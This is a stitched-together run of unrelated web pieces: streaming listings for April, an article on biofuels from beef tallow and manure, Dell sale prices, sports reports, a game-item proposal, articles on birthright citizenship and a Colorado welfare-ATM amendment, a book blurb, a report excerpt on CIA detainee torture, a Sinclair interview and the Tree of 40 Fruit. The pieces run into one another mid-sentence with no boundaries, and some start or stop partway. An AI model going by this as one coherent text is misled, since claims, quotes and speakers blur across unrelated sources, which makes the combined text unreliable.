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Disappeared Vir Das: Abroad Understanding Real Rescues, seasons 6–7 Trust Las Chicas del Cable, season 1 A Murder in the Park Casting JonBenet Dear White People, season 1 Rodney King Small Crimes Sofia the First, season 3 Leaving Netflix April 1st Ally McBeal, seasons 1–5 Angel, seasons 1–5 Better Off Ted, season 1 Barbershop 2: Back in Business Bones, season 1–4 Buffy the Vampire Slayer, seasons 1–7 Chaplin Dollhouse, season 1 Ferris Bueller's Day Off Firefly House, M.D., seasons 1–8 Lie to Me, season 1 Menace II Society Resident Evil: Extinction Rosewell, seasons 1–3 Snow Day Stomp the Yard Superman: The Movie Superman II Superman III Superman IV: The Quest for Peace Superman Returns The Agony and the Ecstasy The Boys from Brazil The Escapist The Princess Bride The Riches, seasons 1–2 The Usual Suspects The X-Files, seasons 1–9 Vanilla Sky April 3rd–14th Collateral Damage The Circle Legit, season 2 Wilfred, season 4 Hero Legit, season 1 Flower Girl The Lazarus Effect April 15th–30th A Fantastic Fear of Everything American Dad!, season 6 The Nutty Professor 2: Facing the Fear Under the Tuscan Sun The Mirror Born to Defense The Defender Coming to Amazon Prime Video April 1st Almost Famous Chaplin Days of Thunder Eddie Murphy Raw Election Ella Enchanted Kiss the Girls Mulholland Falls Robocop Robocop 2 Saturday Night Fever Searching for Bobby Fischer Sliver The Ghost and the Darkness There Will Be Blood Tommy Boy What If April 2nd–9th Hello, My Name Is Doris The Last Exorcism Precious Cargo Tumble Leaf American Playboy, season 1 Barbershop: The Next Cut In a World The Perfect Match April 13th–30th The Handmaiden The Love Witch Fortitude, season 2 American Pastoral Bosch, season 3 Thirteen, season 1 Thunderbirds are Go!, season 3 American Honey Catastrophe, season 3 Animal Kingdom, season 1 Coming to HBO Now April 1st Absolutely Fabulous: The Movie Be Kind, Rewind Breaking Away Cape Fear Criminal Activities Crimson Tide Dragon Blade Fast Times at Ridgemont High Herbie: Fully Loaded Hollywood Ending Kicks Last Man Standing Mamma Mia! Operation Dumbo Drop Play Misty for Me Rat Race Slumdog Millionaire Speed Racer The Assassination of Jesse James by the Coward Robert Ford The Chronicles of Narnia: The Lion, The Witch & The Wardrobe The Deer Hunter The Simpsons Movie The Wild Life Unforgiven Urban Cowboy Y mañana Navidad (aka Merry Christmas) April 3rd–14th Abortion: Stories Women Tell Saving My Tomorrow Part 5 La cosa humana (aka Human Thing) War Dogs Search Party Psi, season 3 premiere La gunguna April 15th–29th Suicide Squad (theatrical & extended versions) The Leftovers, season 3 premiere Veep, season 6 premiere Indignation The Immortal Life of Henrietta Lacks Saving My Tomorrow: Kids Love the Earth Silicon Valley, season 4 premiere The Memory of Justice 2017 Rock and Roll Hall of Fame Induction Ceremony Victor Frankenstein Leaving HBO Now April 7th Mad Max: Fury Road April 30thFood Waste And Beef Fat Will Be Making Airplanes Soar Enlarge this image toggle caption Tony Ruppe/United Tony Ruppe/United What do beef tallow and manure have in common with t-shirts and pine needles? Turns out you can make high-quality, low-carbon transportation fuel with all of them. A growing number of biofuel producers are teaming up with farms, meatpackers and waste management companies to tap gassy waste to meet new demand for renewable jet fuel and diesel for vehicles. Lots of different agricultural feedstocks – from sugarcane to sweet potatoes — can be used in renewable fuel. But there's a bonus if you use organic waste. Methane, a super potent greenhouse gas, is released into the atmosphere as manure and food decompose. And that gas and that waste are increasingly a liability for farmers. According to Steve Kaffka, director of the California Biomass Collaborative at the University of California, Davis, anaerobic digesters, which convert the waste into biogas and power, can be a good way for large farms to minimize their waste and create a value-added product from it at the same time. Meanwhile, the transportation industry is starting to feel the heat to fill up on renewable fuels. Airlines aren't yet required to shrink their carbon footprints, but the Environmental Protection Agency is currently seeking public input on emissions standards that could one day apply to airlines operating in the U.S. The EPA says domestic aircraft account for 11 percent of the US transportation industry's greenhouse gas emissions, and that these emissions contribute to air pollution in the atmosphere and endanger public health. "Reducing greenhouse gas emissions from the fuel that powers our transportation is a critical part of addressing climate change. When fuel can be made out of waste into a value-added product, there can be big benefits," says an agency spokesperson. Many airlines aren't waiting for regulations to be enacted. United has purchased 15 million gallons of renewable jet fuel made from beef tallow, or fat, by Alt Air Fuels and plans to use the fuel this year for Los Angeles-to-San Francisco flights. The airline has also invested $30 million in Fulcrum BioEnergy, Inc., which uses household garbage, including food waste, for its fuel feedstock. FedEx and Southwest Airlines recently each bought 3 million gallons of jet fuel that will be made from forest waste by Red Rock Biofuels. FedEx has a goal to get 30 percent of its jet fuel from alternative sources by 2030. In July, UPS announced it would purchase 46 million gallons of renewable diesel made from used cooking oils, animal fats and algae in the next three years for its delivery trucks. Enlarge this image toggle caption Abbie Fentress Swanson for NPR Abbie Fentress Swanson for NPR In Indiana, Fair Oaks Farms does the waste-to-fuel production itself with the help of a digester. This huge, sealed container converts half a million gallons of manure from 15,000 cows and 3,000 hogs into biogas. The biogas is captured, cleaned, compressed and odorized before being used to fuel a fleet of 42 tanker trucks that deliver Fair Oaks' milk from Michigan to Tennessee. "We are extremely interested in converting all of our waste to a full asset instead of a liability," says Fair Oaks President Mike McCloskey. "Our goal is to sooner or later have a completely closed cycle where we're taking full advantage of sustainability." Fulcrum claims one gallon of its renewable fuel produces 80 percent less greenhouse gas emissions than one gallon of conventionally produced petroleum-based fuels. "There's a huge carbon savings from our process," says Rick Barraza, vice president of Fulcrum. "Airlines are looking at that and being able to show that they are reducing their carbon footprint with the fuel that they're buying from us." But Kaffka of the California Biomass Collaborative says the industry is still struggling to measure the true carbon footprint of biofuels, and how much emissions they actually offset. "It's difficult methodologically and in part because a lot of biomass is produced under varying circumstances," Kaffka says. Alt Air's green jet fuel promises to reduce greenhouse gas emissions by between 65 and 85 percent. The company produces its fuel in a retrofitted asphalt factory and petroleum refinery southeast of Los Angeles with beef fat from Midwest meatpacking companies like National Beef. Its advanced hydroprocessing technology involves adding hydrogen to the tallow to remove oxygen before refining the fuel to meet stringent aircraft fuel specifications. It can then be blended at a 50-50 ratio with standard petroleum-based fuel. Secretary Tom Vilsack of the U.S. Department of Agriculture says his agency also sees food waste and other animal products as a tremendous energy opportunity. "I have no hesitation in telling you that we will have plenty of feedstock," he said in April in a speech at Michigan State University. "The challenge is figuring out how to do it, where to do it, and the most efficient way region to region to do it, and using the feedstock that makes the best sense for that particular region." Abbie Fentress Swanson is a journalist based in Los Angeles. She covers agriculture, food production, science, health and the environment.It’s only a day into November and the Black Friday deals are already starting to pop up. Dell today announced some of its major deals for the end-of-the-month sale. Top among the price drops is an Xbox One deal that includes the Xbox One S 500 GB Battlefield 1 bundle with Gears of War 4 and an extra Xbox One Wireless controller for $249.99. The online door buster kicks off at 9 p.m. ET on Nov. 24. Other top deals include an Inspiron 11 3000 laptop for $99.99, which goes on sale at 6 p.m. ET on Nov. 24 and an Inspiron Micro desktop for $99.99, which goes on sale 10 p.m. ET on Nov. 24. All three of the door buster deals are while "supplies last" so make sure you hit the sale on the button if you’re interested. Other deals will be announced as Thanksgiving approaches. Dell also announced some Cyber Monday deals as well, according to USA Today. The two deals the paper points out are for a PlayStation 4 Slim 500 GB Uncharted 4 bundle which also includes NBA 2K17 and a $25 Dell Promo eGift Card for $279.99 and a 50-inch 4K Vizio TV with a bundled Logitech Harmony 650 remote for $399.99. With the console wars still raging on between Microsoft and Sony and Nintendo prepping to drop its own new console, I’d expect to see plenty of amazing deals this month. Stay tuned to our site for ongoing coverage. You can find all of our Black Friday deals here (bookmark that link!) or see below for a real-time stream of the latest deals.MONTREAL – Impact midfielder Ignacio Piatti was named Alcatel MLS Player of the Week on Tuesday for Week 24. Piatti recorded two braces last week, including two game-winning goals, helping the Impact win two important home games – 3-0 against Chicago on Wednesday and 3-1 against Real Salt Like on Saturday – putting the team ahead of the line giving access to the playoffs, in 6th position. Piatti is also nominated for the AT&T MLS Goal of the Week and was selected on the league’s Team of the Week for the fourth time this season. The Argentine is currently tied for first in MLS with four multi-goal games this season, second with four goals on penalties and tied for third with 14 goals. He also scored at least a goal in each of his last four games. Piatti also passed Marco Di Vaio earlier this season, with a brace against Portland on May 20, to become the record goal scorer in MLS club history. He now has 44 career goals in regular season. Upcoming games The Impact will play one of the most anticipated games of the season on Sunday, August 27, at 4:30pm, as a new chapter of the rivalry with Toronto FC will be written (TVA Sports, TSN, 98.5fm, TSN Radio 690 – TICKETS). The Bleu-blanc-noir will end its series of four consecutive games at Stade Saputo on Saturday, September 2, with another meeting with the Chicago Fire (TVA Sports, 98.5fm, TSN Radio 690 – TICKETS).. . Hi everyone, Content 1. STORY 2. ITEM CONCEPT & STATS This section was updated on 11/4/2014 ! The stats in this image are not updated yet! T1 Stats Cost: 810 gold HP5: +10 PHYSICAL PROTECTION: +10 MAGICAL PROTECTION: +5 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - T2 Stats Cost: 1420 gold HP5: +15 PHYSICAL PROTECTION: +20 MAGICAL PROTECTION: +10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - T3 Stats (on stack 0) Cost: 2450 gold HP5: +30 CDR: +0% PHYSICAL PROTECTION: +40 MAGICAL PROTECTION: +20 PASSIVE - You permanently gain +.5% CDR per stack, and recieve 5 stacks per god kill or assist and 1 stack per minion kill. (max. 30 stacks). Regenerates 30% of your max. health over the next 10 seconds when below 400 health. Can only occure once every 120 seconds. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - T3 Stats (on max. stack 30) Cost: 2450 gold HP5: +30 CDR: +15% PHYSICAL PROTECTION: +40 MAGICAL PROTECTION: +20 PASSIVE - You permanently gain +.5% CDR per stack, and recieve 5 stacks per god kill or assist and 1 stack per minion kill. (max. 30 stacks). Regenerates 30% of your max. health over the next 10 seconds when below 400 health. Can only occure once every 120 seconds. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Passive-calculation based on 1500 health: 1500 health * 30% = 450 health – 400 health(trigger) = 50 health over 10 sec = 5 health per sec Passive-calculation based on 2500 health: 2500 health * 30% = 750 health – 400 health(trigger) = 350 health over 10 sec = 35 health per sec Passive-calculation based on 3000 health: 3000 health * 30% = 900 health – 400 health(trigger) = 500 health over 10 sec = 50 health per sec The passive doesn't work below 1350 health. 3. VISUAL IMPLEMENTATION 4. ITEM COMPARISON 5. CRITIC & BALANCING ISSUES This section was updated on 11/4/2014Looking for news you can trust? Subscribe to our free newsletters. After launching his presidential bid by calling Mexican immigrants “rapists,” Donald Trump last week unveiled his plan for immigration reform: He’d “take back our country,” as he put it on Fox News, by building a 2,000-mile wall at the southern border. He would deport all undocumented immigrants and defund so-called “sanctuary cities.” He would create criminal penalties for anyone overstaying a visa—roughly 4.4 million people. And notably, he would seek to end the practice of birthright citizenship, which currently allows anyone born in the United States—including the children of undocumented immigrants—to automatically become citizens. As the New York Times editorial board highlighted, six other Republican candidates have now joined the anti-birthright bandwagon, including Lindsey Graham, Rand Paul, Rick Santorum, Ben Carson, Chris Christie, and Bobby Jindal. Scott Walker initially said he agreed with Trump but has since changed his mind. “It would be a humanitarian crisis within the United States.” All this has human rights advocates worried. Ending birthright citizenship would result in a flood of newly created stateless children. In the United States, that would quickly become a humanitarian crisis, says David Baluarte, a law professor at Washington and Lee University and the director of the Immigrant Rights Clinic. Around the world—in countries such as Estonia, Burma, Thailand, Côte d’Ivoire, the Dominican Republic, and many others—some 10 million people are stateless, according to the UN High Commissioner for Refugees. They lack citizenship in the country where they were born, and they have nowhere to go where they can receive legal status. Stateless individuals cannot participate in any political process anywhere. They’re often subject to arbitrary detention. They have limited access to health care and education. They are especially vulnerable to crime and have little legal recourse if they are victimized. They have no economic rights and few job prospects. In extreme cases, as with the Rohingya Muslims of Burma and the Hill Tribe population of Thailand, they’re exposed to increased rates of human trafficking. Currently, statelessness affects between 4,000 and 6,000 people in the United States—immigrants who either lacked a nationality when they reached the country or lost it after arriving. This includes Ethiopians of Eritrean descent, for example, who were stripped of their Ethiopian citizenship after fleeing persecution. It also includes those who fled the former Soviet Union and were left without a nationality after it dissolved. If these migrants are unable to gain asylum in the United States, they enter what Baluarte calls the “stateless legal limbo”: They’re ordered to be removed from the country, but because there’s nowhere they can go, they languish for extended periods of time in immigration detention. When they’re released from detention, they exist in a perpetual state of “immigration parole,” Baluarte says. “They’re supposed to leave the country, but they can’t leave the country, because no country in the world wants them. They live under the specter of the ever-looming possibility of being redetained at the whims of the immigration officials who they’re required to check in with.” “We could be talking about a situation that affects tens of thousands and even hundreds of thousands.” If Trump and other Republicans got their way, the number of stateless people born in the United States would skyrocket. Birthright citizenship is “the most important safeguard that any country can have against statelessness,” says Sarnata Reynolds, senior advisor on human rights at Refugees International, because it means statelessness will always be eliminated within one generation. Without birthright citizenship, the descendants of some undocumented immigrants could be stateless for generations to come. “We could be talking about a situation that affects tens of thousands and even hundreds of thousands,” says Baluarte. He points to an example not far from US soil. The highest court in the Dominican Republic, a country that traditionally had a robust system of birthright citizenship, recently reinterpreted the constitution to retroactively deny citizenship to the children of undocumented immigrants. The result? Nationality has been stripped from more than 200,000 people of Haitian descent. On top of that, Haiti’s system of birth records was decimated in the 2010 earthquake, “so they can’t prove their lineage to Haiti either,” says Baluarte. “Upwards of 200,000 people are left stateless in the Dominican Republic.” How could this play out in the United States? Baluarte points to the large numbers of Haitians in South Florida, as well as immigrants from elsewhere in Latin America, Kenya, and Eastern European nations—some of which have a history of shifting nationality laws, ethnic persecution, and inadequate record keeping. “If someone is never allowed to settle into the community they’re in, it’s hard to get gainful employment, and to get health problems adequately addressed; it’s difficult to get education,” he says. “They’re particularly vulnerable to arbitrary detention. They’re so limited in how they can move up in society.” So far, most of the GOP candidates have avoided calling for birthright citizenship to be ended retroactively. But Trump told CNN last week that he doesn’t believe people born in the United States to undocumented immigrants are in fact American citizens. “I don’t think they have American citizenship,” he said. “And if you speak to some very, very good lawyers—and I know some will disagree—but many of them agree with me, and you’re going to find they do not have American citizenship.” Baluarte warns that ending birthright citizenship would be a disaster. If the children of migrants were not granted citizenship in the United States, the problem of statelessness “could spiral out of control,” he says. “It would be a humanitarian crisis within the United States.”BARBERVILLE, FL. (Wednesday, Feb. 11, 2015) – Greg Hodnett has served noticed. His Mike Heffner team will be a force to be reckoned with in 2015. The Thomasville, Pennsylvania driver was able to maneuver through traffic and led all 30 laps at Volusia Speedway Park to claim the University of Northwestern Ohio All Star Circuit of Champions victory. Hodnett’s victory stops a three race win streak for Kerry Madsen. It was the 81st appearance of Tony Stewart’s New All Star Circuit of Champions at Volusia Speedway Park for the DIRTcar Nationals. For Hodnett it was his 19th career series victory and the second All Star win at Volusia for the driver of the Lelands.com/Eagle Steel/Trone Outdoor machine. “We qualified well and got a great run in the dash to put us up front and that helped tremendously. The guys gave me a perfect race car. There were times in traffic where I was hand over hand…it was a handful on the cushion at times,” said Hodnett. “We are working with a new Triple X chassis this year and tried some things and it worked and I got one of these gator trophies,” added Hodnett. Danny Lasoski, who set the fastest lap in qualifications, took second from Paul McMahan on lap 23 but couldn’t catch Hodnett in traffic. “I have to thank Todd Quiring for giving me this opportunity. It’s great to be back with Guy Forbrook and I’m extremely excited for the season,” said Lasoski, who leads all drivers with 16 career All Stars wins at Volusia. “I spun my wheels on the start and that’s what cost me. You can’t give someone like Greg that kind of an advantage,” added Lasoski. Brad Sweet would drive his Kasey Kahne Racing entry into third on lap 23 after having started seventh on the racy half mile. “We missed it a little in time trials and you just can’t do that with the level of talent we have here. It was a great first night for our Ollie’s Bargain Outlets, Avantage health, Sage Fruit, Team ASE car,” said Sweet. “My hands and arms hurt. I have to get in racing shape but I had a lot of fun tonight and can’t wait until tomorrow,” added Sweet. Hodnett and Lasoski would bring the field to green for their 30 lap main event but eighth place starter Joey Saldana would spin coming out of turn four, with most of the field narrowly missing “The Brownsburg Bullet. Donny Schatz and Dave Blaney would also get together in turn one and a red was brought out so that crews could separate the two machines. When the green came back out, Hodnett set sail as McMahan, Lasoski, Kerry Madsen, Sweet and Dale Blaney gave chase. The caution flew on lap two when Cody Darrah and Lucas Wolfe spun in turn two. When the race resumed it would go to the end without stoppage. Hodnett would pull away to a commanding lead while the action for second was heating up between McMahan, Lasoski and Madsen. Hodnett would race into traffic by the 10th circuit. Hodnett would patiently pick off the lapped cars as McMahan and Lasoski were unable to make up any ground. With 10 laps to go Hodnett continued to work through traffic as once again McMahan, Lasoski and now Sweet tried to hunt him down. On lap 23 McMahan tried to drive under a lapped car and slid up the track allowing Lasoski and Sweet to get by. Hodnett would drive to the win over Lasoski, Sweet, McMahan, Madsen, Daryn Pittman (up from 13th), David Gravel (up from 15th), Blaney, Jason Johnson (up from 14th) and Jason Sides would round out the top 10. The New UNOH All Star Circuit of Champions will be back in action Thursday, Feb. 12 at Volusia Speedway Park. Tickets to the DIRTcar Nationals at Volusia Speedway Park are on sale at www.DIRTcarNationals.com. The Volusia events will also be broadcast by DIRTVision on the award winning www.DIRTVision.com. Fans can follow the UNOH All Stars Circuit of Champions on Twitter, @ASCoC, and join the conversation using the hashtag #TheNewAllstars. Like us on Facebook and post your favorite All Star pictures on Instagram. The series official website remains www.AllStarSprint.com ©2015 - Results Provided by: Computer Man Inc. Fremont, OHWhenever we envision a world without war, without prisons, without capitalism, we are producing speculative fiction. Organizers and activists envision, and try to create, such worlds all the time. Walidah Imarisha and adrienne maree brown have brought twenty of them together in the first anthology of short stories to explore the connections between radical speculative fiction and movements for social change. The visionary tales of Octavia’s Brood span genres—sci-fi, fantasy, horror, magical realism—but all are united by an attempt to inject a healthy dose of imagination and innovation into our political practice and to try on new ways of understanding ourselves, the world around us, and all the selves and worlds that could be. The collection is rounded off with essays by Tananarive Due and Mumia Abu-Jamal, and a preface by Sheree Renée Thomas. PRAISE FOR OCTAVIA'S BROOD: "Those concerned with justice and liberation must always persuade the mass of people that a better world is possible. Our job begins with speculative fictions that fire society's imagination and its desire for change. In adrienne maree brown and Walidah Imarisha's visionary conception, and by its activist-artists' often stunning acts of creative inception, Octavia's Brood makes for great thinking and damn good reading. The rest will be up to us." —Jeff Chang, author of Who We Be: The Colorization of America “Conventional exclamatory phrases don’t come close to capturing the essence of what we have here in Octavia’s Brood. One part sacred text, one part social movement manual, one part diary of our future selves telling us, ‘It’s going to be okay, keep working, keep loving.’ Our radical imaginations are under siege and this text is the rescue mission. It is the new cornerstone of every class I teach on inequality, justice, and social change....This is the text we’ve been waiting for.” —Ruha Benjamin, professor of African American Studies at Princeton University and author of People’s Science: Bodies and Rights on the Stem Cell Frontier "Octavia [Butler] once told me that two things worried her about the future of humanity: The tendency to think hierarchically, and the tendency to place ourselves higher on the hierarchy than others. I think she would be humbled beyond words that the fine, thoughtful writers in this volume have honored her with their hearts and minds. And that in calling for us to consider that hierarchical structure, they are not walking in her shadow, nor standing on her shoulders, but marching at her side." —Steven Barnes, author of Lion’s Blood “Never has one book so thoroughly realized the dream of its namesake. Octavia's Brood is the progeny of two lovers of Octavia Butler and their belief in her dream that science fiction is for everybody. In these pages we witness the power of sci-fi to map our visions of worlds we want, or don't, through the imaginations of some of our favorite activists and artists. We hope this is the first of many generations of Octavia's Brood, midwifed to life by such attentive editors. Butler could not wish for better evidence of her touch changing our literary and living landscapes. Play with these children, read these works, and find the children in you waiting to take root under the stars!” —Moya Bailey and Ayana Jamieson, Octavia E. Butler Legacy “In this provocative collection of fiction, Walida Imarisha and adrienne maree brown provide boundless space for their writers—changemakers, teachers, organizers and leaders—to untether from this realm their struggles for justice.... Like Butler's fiction, this collection is cartography, a map to freedom.” —dream hampton, filmmaker and Visiting Artist at Stanford University’s Institute for Diversity in the Arts Walidah Imarisha is a writer, organizer, educator, and spoken word artist. She is the author of the poetry collectionScars/Stars and facilitates writing workshops at schools, community centers, youth detention facilities, and women's prisons. adrienne maree brown is a 2013 Kresge Literary Arts Fellow writing science fiction in Detroit, Michigan. She received a 2013 Detroit Knight Arts Challenge Award to run a series of Octavia Butler–based writing workshops.Their stated goal was to produce a report that would “provide a description of the treatment and material conditions of detention of the 14 during the period they were held in the C.I.A. detention program,” periods ranging “from 16 months to almost four and a half years.” As the Red Cross interviewers informed the detainees, their report was not intended to be released to the public but, “to the extent that each detainee agreed for it to be transmitted to the authorities,” to be given in strictest secrecy to officials of the government agency that had been in charge of holding them — in this case the Central Intelligence Agency, to whose acting general counsel, John Rizzo, the report was sent on Feb. 14, 2007. The result is a document — labeled “confidential” and clearly intended only for the eyes of those senior American officials — that tells a story of what happened to each of the 14 detainees inside the black sites. A short time ago, this document came into my hands and I have set out the stories it tells in a longer article in The New York Review of Books. Because these stories were taken down confidentially in patient interviews by professionals from the International Committee of the Red Cross, and not intended for public consumption, they have an unusual claim to authenticity. Indeed, since the detainees were kept strictly apart and isolated, both at the black sites and at Guantánamo, the striking similarity in their stories would seem to make fabrication extremely unlikely. As its authors state in their introduction, “The I.C.R.C. wishes to underscore that the consistency of the detailed allegations provided separately by each of the 14 adds particular weight to the information provided below.” Beginning with the chapter headings on its contents page — “suffocation by water,” “prolonged stress standing,” “beatings by use of a collar,” “confinement in a box” — the document makes compelling and chilling reading. The stories recounted in its fewer than 50 pages lead inexorably to this unequivocal conclusion, which, given its source, has the power of a legal determination: “The allegations of ill treatment of the detainees indicate that, in many cases, the ill treatment to which they were subjected while held in the C.I.A. program, either singly or in combination, constituted torture. In addition, many other elements of the ill treatment, either singly or in combination, constituted cruel, inhuman or degrading treatment.” Perhaps one should start with the story of the first man to whom, according to news reports, the president’s “alternative set of procedures” were applied: “I woke up, naked, strapped to a bed, in a very white room. The room measured approximately 4 meters by 4 meters. The room had three solid walls, with the fourth wall consisting of metal bars separating it from a larger room. I am not sure how long I remained in the bed. After some time, I think it was several days, but can’t remember exactly, I was transferred to a chair where I was kept, shackled by hands and feet for what I think was the next two to three weeks. During this time I developed blisters on the underside of my legs due to the constant sitting. I was only allowed to get up from the chair to go [to] the toilet, which consisted of a bucket. Advertisement Continue reading the main story “I was given no solid food during the first two or three weeks, while sitting on the chair. I was only given Ensure and water to drink. At first the Ensure made me vomit, but this became less with time. “The cell and room were air-conditioned and were very cold. Very loud, shouting-type music was constantly playing. It kept repeating about every 15 minutes, 24 hours a day. Sometimes the music stopped and was replaced by a loud hissing or crackling noise. “The guards were American, but wore masks to conceal their faces. My interrogators did not wear masks.” So begins the story of Abu Zubaydah, a senior member of Al Qaeda, captured in a raid in Pakistan in March 2002. The arrest of an active terrorist with actionable information was a coup for the United States. After being treated for his wounds — he had been shot in the stomach, leg and groin during his capture — Abu Zubaydah was brought to one of the black sites, probably in Thailand, and placed in that white room. It is important to note that Abu Zubaydah was not alone with his interrogators, that everyone in that white room — guards, interrogators, doctor — was in fact linked directly, and almost constantly, to senior intelligence officials on the other side of the world. “It wasn’t up to individual interrogators to decide, ‘Well, I’m going to slap him. Or I’m going to shake him,’” said John Kiriakou, a C.I.A. officer who helped capture Abu Zubaydah, in an interview with ABC News. Every one of the steps taken with regard to Abu Zubaydah “had to have the approval of the deputy director for operations. So before you laid a hand on him, you had to send in the cable saying, ‘He’s uncooperative. Request permission to do X.’” He went on: “The cable traffic back and forth was extremely specific.... No one wanted to get in trouble by going overboard.” Advertisement Continue reading the main story Shortly after Abu Zubaydah was captured, C.I.A. officers briefed the National Security Council’s principals committee, including Vice President Dick Cheney, the national security adviser, Condoleezza Rice, and Attorney General John Ashcroft, in detail on the interrogation plans for the prisoner. As the interrogations proceeded, so did the briefings, with George Tenet, the C.I.A. director, bringing to senior officials almost daily reports of the techniques applied. At the time, the spring and summer of 2002, Justice Department officials, led by John Yoo, were working on a memorandum, now known informally as “the torture memo,” which claimed that for an “alternative procedure” to be considered torture, and thus illegal, it would have to cause pain of the sort “that would be associated with serious physical injury so severe that death, organ failure, or permanent damage resulting in a loss of significant body function will likely result.” The memo was approved in August 2002, thus serving as a legal “green light” for interrogators to apply the most aggressive techniques to Abu Zubaydah: “I was taken out of my cell and one of the interrogators wrapped a towel around my neck; they then used it to swing me around and smash me repeatedly against the hard walls of the room.” The prisoner was then put in a coffin-like black box, about 4 feet by 3 feet and 6 feet high, “for what I think was about one and a half to two hours.” He added: The box was totally black on the inside as well as the outside.... They put a cloth or cover over the outside of the box to cut out the light and restrict my air supply. It was difficult to breathe. When I was let out of the box I saw that one of the walls of the room had been covered with plywood sheeting. From now on it was against this wall that I was then smashed with the towel around my neck. I think that the plywood was put there to provide some absorption of the impact of my body. The interrogators realized that smashing me against the hard wall would probably quickly result in physical injury.” After this beating, Abu Zubaydah was placed in a small box approximately three feet tall. “They placed a cloth or cover over the box to cut out all light and restrict my air supply. As it was not high enough even to sit upright, I had to crouch down. It was very difficult because of my wounds. The stress on my legs held in this position meant my wounds both in the leg and stomach became very painful. I think this occurred about three months after my last operation. It was always cold in the room, but when the cover was placed over the box it made it hot and sweaty inside. The wound on my leg began to open and started to bleed. I don’t know how long I remained in the small box; I think I may have slept or maybe fainted. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates
, too, and getting up there. And that happened in the ‘90s. Leni: I didn’t say it, but “Let’s have cock-rock and pussy rock” (Laughs) When John was imprisoned in 1969, did the Five renege on a promise to help you out financially while he was in prison? Leni: I don’t really know if there had ever been a promise. Nobody knew that John was going to go to jail, and I don’t think that he ever had any discussions prior to going to jail to see what would happen. Everybody just figured he would get an appeal bond and be out on the street in a matter of days, or maybe weeks. Well, that didn’t happen, and the MC5…first, they severed their relationship with J.C. Crawford, which we all felt was a big mistake, because J.C. was almost a sixth member of the band, he was almost an integral part. So when they fired him, we had kinda bad feelings about that, and then when they brought in Jon Landau as a manager, of course we had bad feelings about that. The financial part was…I don’t really know. ‘Cause no promises were made, John never had a written contract with the band or anything like that. It was on the honor system. But I do know that after John went to jail, there were about 17 of us who had spent the last two years doing nothing but working for the MC5 and making them a success, never taking any money for ourselves, just room and board. All of a sudden, John is gone, and we have no money coming in. Our phones got cut off just at the crucial point when we needed to make some publicity and let people know John was in jail. We had no way; we had no phones and we were just begging for food. My mother-in-law and father-in-law helped us out like they usually did, but it was devastating for awhile. And there was probably hard feelings thinking that the MC5 should have kept John on as a manager, even if he was in jail. People told them otherwise, other people told them John would be a hindrance, because now he was too hot to handle. John was now too much of a political figure. So they said no, better get rid of John Sinclair and the revolutionary image. Which was a mistake, I think we all agree. Because they lost whatever they had going for them, they kinda got lost after that. What did you do immediately after that? Leni: Well, I was pregnant with Celia and we had a child, and we had to organize to make a living and we had to organize the John Sinclair freedom movement.. We kept it together by hook or by crook, and the person who’s most responsible for all that is Dave Sinclair, John’s brother, who took over the financial management of this whole shebang. The Up became the house band for the revolutionary White Panther Party wing (Laughs). They were no MC5, but they could kick it out, and so we kept it going like that. So for the next two and a half years, we were just continuing without the Five, focusing our energies on getting John out and continuing to organise. Do you know about the Bentley archive? When John and I broke up, I had a whole roomful of all the things that I’d collected since I came to this country—all the fliers, all the magazines, all the books we published. We published, at one time, four magazines, and put out about twenty books of poetry, most of them mimeographed by hand. I’m a pack rat, so I saved every last scrap of paper, every memo, everything. So when we broke up, we donated our collection of stuff to the Michigan Historical Library, which houses the papers of the governors and the supreme court justices of Michigan and all that. And so they have the John and Leni Sinclair Papers…a huge amount of materials, and people come from far and wide to study the ‘60s now. It’s at the University of Michigan in Ann Arbor.For most of the year, the trees of 40 fruits, of which there are currently 16 in the world, look like any other tree. But in spring, dozens of shades of pinks and reds and whites begin to appear, and by the end of the summer, each one has produced a harvest of over 40 different kinds of stone fruit. The trees are the work of award-winning contemporary artist and Syracuse University art professor Sam Van Aken, who told Epicurious.com that "first and foremost I see the tree as an artwork." But that doesn't mean his living masterpieces aren't a fascinating study in agriculture and culinary history. "As the project evolved, it took on more goals," Van Aken said. "In trying to find different varieties of stone fruit to create the Tree of 40 Fruit, I realized that for various reasons, including industrialization and the creation of enormous monocultures, we are losing diversity in food production and that heirloom, antique, and native varieties that were less commercially viable were disappearing." Although each tree ends up with around 40 species of stone fruit, including peaches, plums, apricots, nectarines, cherries, and almonds—which Van Aken chose for the project because of their great diversity and inter-compatibility—he works with over 250 varieties, plotting the timelines of each and selecting species to create artwork out of the different blossoms. The grafting together of all these species takes about five years, and Van Aken visits each of his 16 trees—which can be found at museums, community centers, and private art collections around the country, including in Newton, Massachusetts; Pound Ridge, New York; Short Hills, New Jersey; Bentonville, Arkansas; and San Jose, California—twice a year for pruning. And if you're wondering, yes, all the fruit is completely edible (and presumably delicious), at least now that Van Aken has solved the problem of hungry deer destroying the crop. UPDATE: Recently, National Geographic spoke with Van Aken about the years-long care that goes in to each of the trees, which he considers living art. Get a glimpse of grafting process in the video below:An attempt by Colorado lawmakers to ban welfare recipients from withdrawing their benefits at ATMs located inside strip clubs was killed by Democrats Thursday night, even though the state House’s third-ranking Democratic legislator supported the measure. Democratic Rep. Dan Pabon lent his support to the Republican-led proposal, offered as an amendment during a debate on the state budget Thursday night, because it would hew to a similar federal rule, according to the Denver Post. Pabon introduced a bill on the issue two years ago, but it didn’t clear the state Senate. State welfare recipients receive their benefits on debit cards that can be used for purchases just like credit cards or to withdraw cash from ATMs. Current rules already prohibit them from withdrawing money at ATMs located in liquor stores, casinos, bingo parlors and gun stores, but the strip club loophole has never been closed. “If you’re on the dole, you shouldn’t be on the pole,” the Post quotes one Republican lawmaker as quipping when she brought up the amendment. When he introduced a bill to ban ATM withdrawals in strip clubs in 2011, Pabon said he was worried that taxpayer money was being paid to strippers rather than used for food or to pay bills. He also cited the typically high withdrawal fees charged at ATMs in adult entertainment businesses. But Democrats defeated the amendment Thursday, with the Post reporting that one lawmaker said people who live in poor areas and don’t have cars might not have a choice but to use a strip club ATM. Follow Greg on Twitter Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@ dailycallernewsfoundation.org. Content created by The Daily 